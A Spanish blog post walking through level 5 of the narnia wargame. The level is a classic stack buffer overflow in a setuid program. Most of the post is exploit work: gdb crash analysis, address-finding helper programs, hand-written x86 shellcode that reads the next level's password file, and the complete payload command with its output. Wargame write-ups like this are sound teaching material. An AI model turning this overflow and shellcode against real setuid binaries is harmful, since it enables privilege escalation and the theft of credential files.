systemadmin.es » Programación » Wargame narnia: Nivel 5

Wargame narnia: Nivel 5

Vamos a seguir con el nivel 5 del wargame de narnia, es este caso es bastante similar al nivel 3.

El código del nivel es el siguiente:

/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>

extern char **environ;

int main(int argc,char **argv){
        char buffer[100];
        int i;

        for(i = 0; environ[i] != NULL; i++)
                memset(environ[i], '\0', strlen(environ[i]));

        if(argc>1){
                seteuid(1006);
                strcpy(buffer,argv[1]);
        } 

        return 0;
}

Podemos apreciar que este nivel es exactamente igual que el nivell 3 que ya hemos visto, con las únicas diferencias en el tamaño del buffer y que se ponen a cero todas las variables de entorno.

Para el shellcode que hicimos para el nivel 3 no usamos para nada las variables de entorno, por lo que nos da igual que las pongan a cero, simplemente deberemos repetir el nivel 3 con otros valores.

Primero de todo vamos a probar tamaños del buffer para encontrar el tamaño que causa un error en la aplicación:

level5@narnia:/tmp/puta$ for i in $(seq 100 150); do /wargame/level5 $(perl -e "print \"a\"x$i;"); if [ $? -ne 0 ]; then echo $i; break; fi; done
Illegal instruction
124

Con gdb podemos ver los registros:

level5@narnia:~$ gdb /wargame/level5 -q
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) r `perl -e 'print "a"x124;'`
Starting program: /wargame/level5 `perl -e 'print "a"x124;'`

Program received signal SIGILL, Illegal instruction.
0xb7ec7e00 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6
(gdb) info registers
eax            0x0	0
ecx            0xfffffdf4	-524
edx            0xbffffbd9	-1073742887
ebx            0xb7fdfff4	-1208090636
esp            0xbffff9d0	0xbffff9d0
ebp            0x61616161	0x61616161
esi            0x0	0
edi            0xb8000cc0	-1207956288
eip            0xb7ec7e00	0xb7ec7e00 <__libc_start_main+32>
eflags         0x10246	[ PF ZF IF RF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb)

Los registros sobrescritos son:

ebp            0x61616161
eip            0xb7ec7e00

Como se ha sobrescrito completamente el ebp y el cero a eip, deberemos usar 124 bytes más la dirección de salto.

Dirección de salto

Dirección de salto

Mediante un simple programa en C obtenemos la dirección que nos interesa:

#include <stdio.h>

int main(int argc, char *argv[])
{
        printf("%x\n",argv[1]);

        return 0;
}

Ejecutamos el comando con los mismos tamaños de argv[0] y de argv[1] para obtener la misma dirección que la que tendremos en el wargame:

level5@narnia:/tmp/puta$ /tmp/puta/a.out $(perl -e 'print "a"x128;')
bffffb59

Podemos comprobar mediante gdb que en dicha dirección tengamos los datos que pasamos como argv[1]:

level5@narnia:/tmp/puta$ gdb -q /wargame/level5
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) r `perl -e 'print "\x90"x124; print "\x59\xfb\xff\xbf";'`
Starting program: /wargame/level5 `perl -e 'print "\x90"x124; print "\x59\xfb\xff\xbf";'`

Program received signal SIGSEGV, Segmentation fault.
0xbffffbd8 in ?? ()
(gdb) x/x 0xbffffb59
0xbffffb59:	0x90900035
(gdb)

A continuación deberemos calcular la dirección del buffer para usarlo de pila para el shellcode. Simplemente aprovechamos el código del level3 cambiando el tamaño del buf a 100:

#include <stdio.h>

int main(int argc, char *argv[])
{
	char buf[100];

	printf("entrada: %x - stack: %x\n",argv[1],(buf+128));
	return 0;
}

Lo ejecutamos y obtenemos:

level5@narnia:/tmp/puta$ ./a.out
entrada: 0 - stack: bffffa54

Finalmente deberemos modificar el shellcode del nivel 2 que ya hemos modificado para el nivel 3 con el nuevo fichero a abrir y la nueva dirección del buffer que usamos de pila:

global _start
section .text

_start:

;; /home/level6/.passwd,0
;;;;;;;;;;;;;;;;;
; /hom
; e/le
; vel6
; /.pa
; sswd
; 0000
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; 0000
; sswd dwss 64777373
; /.pa ap./ 61702E2F
; vel6 6lev 366C6577
; e/le el/e 656C2F65
; /hom moh/ 6D6F682F

mov ebp,0xbffffa54
mov esp,ebp

xor eax,eax
mov byte al,0x5;syscall 5 = open

xor ebx,ebx
push ebx
push 0x64777373
push 0x61702E2F
push 0x366C6576
push 0x656C2F65
push 0x6D6F682F
mov ebx,esp;nombre de fichero
mov esi,esp

xor ecx,ecx;O_RDONLY
xor edx,edx

int 0x80

push eax;descriptor

xor eax,eax;syscall 3 = read
mov byte al,0x3

pop ebx;descriptor

xor edi,edi
push edi;4bytes
push edi;4bytes
push edi;4bytes
push edi;4bytes
;TOTAL: 16bytes de buffer

mov ecx,esp;buff

xor edx,edx
mov byte dl,0xF;tamanyo

int 0x80

push eax; bytes read

xor eax,eax
mov byte al,0x4;syscall 4 = write

xor ebx,ebx
mov byte bl,0x1;stdout

pop edx;total leido

mov ecx,esp;buf

int 0x80

xor eax,eax
inc eax;syscall 1 = exit
xor ebx,ebx;return 0

int 0x80

A continuación compilamos y mediante objdump transformamos cada byte generado en instrucciones de perl:

level5@narnia:/tmp/puta$ nasm -f elf cinc.asm
level5@narnia:/tmp/puta$ ld -s -o cinc cinc.o
level5@narnia:/tmp/puta$ echo perl -e \'$(objdump -d cinc | grep "^ [0-9acbdef]" | cut -f -2 | cut -f 2- | sed 's/  */ /g' | sed 's/ $//g' | sed 's/^/\\x/g' | sed 's/ /\\x/g' | sed 's/^/print "/' | sed 's/$/";/')\'
perl -e 'print "\xbd\x54\xfa\xff\xbf"; print "\x89\xec"; print "\x31\xc0"; print "\xb0\x05"; print "\x31\xdb"; print "\x53"; print "\x68\x73\x73\x77\x64"; print "\x68\x2f\x2e\x70\x61"; print "\x68\x76\x65\x6c\x36"; print "\x68\x65\x2f\x6c\x65"; print "\x68\x2f\x68\x6f\x6d"; print "\x89\xe3"; print "\x89\xe6"; print "\x31\xc9"; print "\x31\xd2"; print "\xcd\x80"; print "\x50"; print "\x31\xc0"; print "\xb0\x03"; print "\x5b"; print "\x31\xff"; print "\x57"; print "\x57"; print "\x57"; print "\x57"; print "\x89\xe1"; print "\x31\xd2"; print "\xb2\x0f"; print "\xcd\x80"; print "\x50"; print "\x31\xc0"; print "\xb0\x04"; print "\x31\xdb"; print "\xb3\x01"; print "\x5a"; print "\x89\xe1"; print "\xcd\x80"; print "\x31\xc0"; print "\x40"; print "\x31\xdb"; print "\xcd\x80";'
level5@narnia:/tmp/merd$ perl -e 'print "\xbd\x54\xfa\xff\xbf"; print "\x89\xec"; print "\x31\xc0"; print "\xb0\x05"; print "\x31\xdb"; print "\x53"; print "\x68\x73\x73\x77\x64"; print "\x68\x2f\x2e\x70\x61"; print "\x68\x76\x65\x6c\x36"; print "\x68\x65\x2f\x6c\x65"; print "\x68\x2f\x68\x6f\x6d"; print "\x89\xe3"; print "\x89\xe6"; print "\x31\xc9"; print "\x31\xd2"; print "\xcd\x80"; print "\x50"; print "\x31\xc0"; print "\xb0\x03"; print "\x5b"; print "\x31\xff"; print "\x57"; print "\x57"; print "\x57"; print "\x57"; print "\x89\xe1"; print "\x31\xd2"; print "\xb2\x0f"; print "\xcd\x80"; print "\x50"; print "\x31\xc0"; print "\xb0\x04"; print "\x31\xdb"; print "\xb3\x01"; print "\x5a"; print "\x89\xe1"; print "\xcd\x80"; print "\x31\xc0"; print "\x40"; print "\x31\xdb"; print "\xcd\x80";' | wc -c
90

Como nos ocupa 90 bytes el código, añadimos 10 bytes de nops al principio y 24 bytes de cualquier cosa al final más la dirección del argv[1], obteniendo los 128 bytes:

level5@narnia:/tmp/puta$ perl -e 'print "\x90"x10; print "\xbd\x54\xfa\xff\xbf"; print "\x89\xec"; print "\x31\xc0"; print "\xb0\x05"; print "\x31\xdb"; print "\x53"; print "\x68\x73\x73\x77\x64"; print "\x68\x2f\x2e\x70\x61"; print "\x68\x76\x65\x6c\x36"; print "\x68\x65\x2f\x6c\x65"; print "\x68\x2f\x68\x6f\x6d"; print "\x89\xe3"; print "\x89\xe6"; print "\x31\xc9"; print "\x31\xd2"; print "\xcd\x80"; print "\x50"; print "\x31\xc0"; print "\xb0\x03"; print "\x5b"; print "\x31\xff"; print "\x57"; print "\x57"; print "\x57"; print "\x57"; print "\x89\xe1"; print "\x31\xd2"; print "\xb2\x0f"; print "\xcd\x80"; print "\x50"; print "\x31\xc0"; print "\xb0\x04"; print "\x31\xdb"; print "\xb3\x01"; print "\x5a"; print "\x89\xe1"; print "\xcd\x80"; print "\x31\xc0"; print "\x40"; print "\x31\xdb"; print "\xcd\x80"; print "a"x24; print "\x59\xfb\xff\xbf";' | wc -c
128

Finalmente sólo nos quedará ejecutarlo para obtener el código del siguiente nivel:

level5@narnia:/tmp/puta$ /wargame/level5 $(perl -e 'print "\x90"x10; print "\xbd\x54\xfa\xff\xbf"; print "\x89\xec"; print "\x31\xc0"; print "\xb0\x05"; print "\x31\xdb"; print "\x53"; print "\x68\x73\x73\x77\x64"; print "\x68\x2f\x2e\x70\x61"; print "\x68\x76\x65\x6c\x36"; print "\x68\x65\x2f\x6c\x65"; print "\x68\x2f\x68\x6f\x6d"; print "\x89\xe3"; print "\x89\xe6"; print "\x31\xc9"; print "\x31\xd2"; print "\xcd\x80"; print "\x50"; print "\x31\xc0"; print "\xb0\x03"; print "\x5b"; print "\x31\xff"; print "\x57"; print "\x57"; print "\x57"; print "\x57"; print "\x89\xe1"; print "\x31\xd2"; print "\xb2\x0f"; print "\xcd\x80"; print "\x50"; print "\x31\xc0"; print "\xb0\x04"; print "\x31\xdb"; print "\xb3\x01"; print "\x5a"; print "\x89\xe1"; print "\xcd\x80"; print "\x31\xc0"; print "\x40"; print "\x31\xdb"; print "\xcd\x80"; print "a"x24; print "\x59\xfb\xff\xbf";')
Deing#u2

Ya podemos saltar al siguiente nivel

JUMP!

JUMP!

El listado de soluciones de otros niveles del wargame de narnia es el siguiente:

Relacionados

Imprimir Imprimir

Deja un comentario:

XHTML - Tags permitidos:<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>